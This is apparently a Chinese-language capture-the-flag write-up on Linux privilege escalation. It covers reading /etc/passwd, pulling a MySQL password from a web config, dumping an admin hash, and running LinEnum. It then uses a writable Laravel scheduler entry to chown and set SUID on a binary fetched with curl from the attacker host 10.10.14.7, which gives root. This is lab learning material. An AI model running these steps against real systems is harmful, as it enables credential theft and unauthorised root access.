cat /etc/passwd | grep home
ps -ef | grep root
root 1083 1 0 Mar15 ? 00:00:00 /usr/sbin/cron -f
/var/www/admin/config.php
admin
kEjdbRigfBHUREiNSDs
mysql -h localhost -u admin -p
输入密码
show databases;
information_schema
admin
use information_schema;
show tables;
use admin;
show tables;
users
select * from users;
| 1 | admin | 4f5fffa7b2340178a716e3832451e058
select VERSION();
5.7.17-0ubuntu0.16.04.2
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| 获得了一串密文,4f5fffa7b2340178a716e3832451e058 不知道明文是不是kEjdbRigfBHUREiNSDs。
如果是,那就不用破解了;如果不是,那就可以尝试su root,用mysql中获取的口令。
md5在线加密`kEjdbRigfBHUREiNSDs`,经过对比,发现不是。

WTF,竟然要我掏钱。
crontab定时任务
在linux中,每个用户都有自己的cron job。只要在文本中写入条目,linux就会定时运行该任务。
cron的格式:
|分钟 |小时| 天| 月份| 工作日| 命令|解释| |--|--|--|--|--|--|--| |02 |`*`| `*`|`*`|`*` | `/home/xx/xx.sh`|每天每小时的第二分钟执行脚本xx.sh| |00|5,6,7|`*` | `*`|`*`|`/home/xx/xx.sh`|每天的第5,6,7小时的0分,执行脚本xx.sh|
crontab -l crontab -e 打开用户的cron job.

root 1102 1 0 10:35 ? 00:00:00 /usr/sbin/cron -f
通过上传LinEnum.sh,运行后发现,可以尝试破解密文。 

find / -name Kernel.php 2>/dev/null
/var/www/laravel/app/Console/Kernel.php
|
exec('chown root:root /tmp/shell;chmod 4777 /tmp/shell')->everyMinute();
}
/**
* Register the Closure based commands for the application.
*
* @return void
*/
protected function commands()
{
require base_path('routes/console.php');
}
}
```
curl http://10.10.14.7/cat -o shell

将本地的cat二进制文件发送到目标机,保存为/tmp/shell。
稍等片刻,约一分钟左右,该文件为suid权限。
运行该文件,即可以root权限查看/root/root.txt
## 总结
进一步加深认识了suid权限。
其中,尝试将netcat写入/tmp/shell,尝试将python脚本写入/tmp/shell,都以失败告终。
只有编译的程序才可以使用root权限。
bash script and python script即使有suid权限,运行的命令也不是root权限。